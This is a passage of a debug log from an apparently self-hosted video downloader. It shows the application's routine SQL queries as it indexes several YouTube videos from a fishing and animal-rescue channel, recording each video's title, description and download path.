s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:18.300 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:18.301 [debug] QUERY OK source="media_items" db=0.1ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118974] 08:29:18.301 [debug] Current batch of media processed. Will check again in 1000ms 08:29:19.301 [debug] Current batch of media processed. Will check again in 1000ms 08:29:20.303 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 977, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", "id" => "obiOzEbmVmU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=obiOzEbmVmU", "playlist_index" => 8, "timestamp" => 1755345609, "title" => "I Found a Deadly Monster in an Abandoned Pond…", "upload_date" => "20250816"} 08:29:20.304 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=516.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:20.305 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=517.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:20.308 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=518.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 12:00:09Z], 33] 08:29:20.309 [debug] QUERY OK source="media_items" db=1.0ms idle=520.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "7d286c57-b7b7-4164-ac95-dbfbbd4907bf", "obiOzEbmVmU", false, "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, [], 977, false, 8, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, false, 98, ~U[2025-08-16 12:00:09Z], ~U[2026-06-02 12:29:20Z], ~U[2026-06-02 12:29:20Z], "If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "obiOzEbmVmU", "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, 977, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, ~U[2025-08-16 12:00:09Z]] 08:29:20.310 [debug] QUERY OK source="sources" db=0.2ms idle=59.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:20.310 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:20.310 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118975] 08:29:20.310 [debug] Current batch of media processed. Will check again in 1000ms 08:29:21.311 [debug] Current batch of media processed. Will check again in 1000ms 08:29:22.100 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:22.313 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 7322, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", "id" => "818YLuzrD-4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=818YLuzrD-4", "playlist_index" => 9, "timestamp" => 1754136011, "title" => "Every Animal i Found in 2025", "upload_date" => "20250802"} 08:29:22.314 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=526.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:22.315 [debug] QUERY OK source="sources" db=0.5ms idle=527.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:22.317 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=528.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 12:00:11Z], 33] 08:29:22.318 [debug] QUERY OK source="media_items" db=0.7ms idle=217.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "d6273af9-ad49-4874-bed1-e0be0f6d73c5", "818YLuzrD-4", false, "https://www.youtube.com/watch?v=818YLuzrD-4", 33, [], 7322, false, 9, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, false, 98, ~U[2025-08-02 12:00:11Z], ~U[2026-06-02 12:29:22Z], ~U[2026-06-02 12:29:22Z], "So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "818YLuzrD-4", "https://www.youtube.com/watch?v=818YLuzrD-4", 33, 7322, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, ~U[2025-08-02 12:00:11Z]] 08:29:22.319 [debug] QUERY OK source="sources" db=0.2ms idle=64.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:22.319 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:22.319 [debug] QUERY OK source="media_items" db=0.1ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118976] 08:29:22.319 [debug] Current batch of media processed. Will check again in 1000ms 08:29:23.320 [debug] Current batch of media processed. Will check again in 1000ms 08:29:24.322 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 1316, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", "id" => "OqQWifbE3ws", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OqQWifbE3ws", "playlist_index" => 10, "timestamp" => 1753556426, "title" => "I Bought The Deadliest Insects (to keep as pets)", "upload_date" => "20250726"} 08:29:24.323 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=535.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:24.324 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=536.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:24.327 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=537.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 19:00:26Z], 33] 08:29:24.328 [debug] QUERY OK source="media_items" db=0.7ms idle=539.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "a8633c4b-dd1b-4361-abb6-a00f51bf001f", "OqQWifbE3ws", false, "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, [], 1316, false, 10, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, false, 98, ~U[2025-07-26 19:00:26Z], ~U[2026-06-02 12:29:24Z], ~U[2026-06-02 12:29:24Z], "In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "OqQWifbE3ws", "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, 1316, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, ~U[2025-07-26 19:00:26Z]] 08:29:24.328 [debug] QUERY OK source="sources" db=0.1ms idle=71.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:24.328 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:24.329 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118977] 08:29:24.329 [debug] Current batch of media processed. Will check again in 1000ms 08:29:25.330 [debug] Current batch of media processed. Will check again in 1000ms 08:29:26.332 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 871, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", "id" 